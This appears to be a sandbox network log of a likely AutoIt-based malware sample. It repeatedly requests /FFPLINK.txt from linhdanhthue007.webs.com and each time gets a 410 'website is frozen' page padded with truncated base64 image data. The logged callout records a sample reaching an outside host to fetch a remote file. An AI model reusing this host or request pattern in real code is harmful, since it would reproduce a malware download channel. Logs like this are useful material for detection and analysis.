vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:36 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:03 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:26 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:08 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:48 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:24 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:04 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:44 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:28 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:05 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
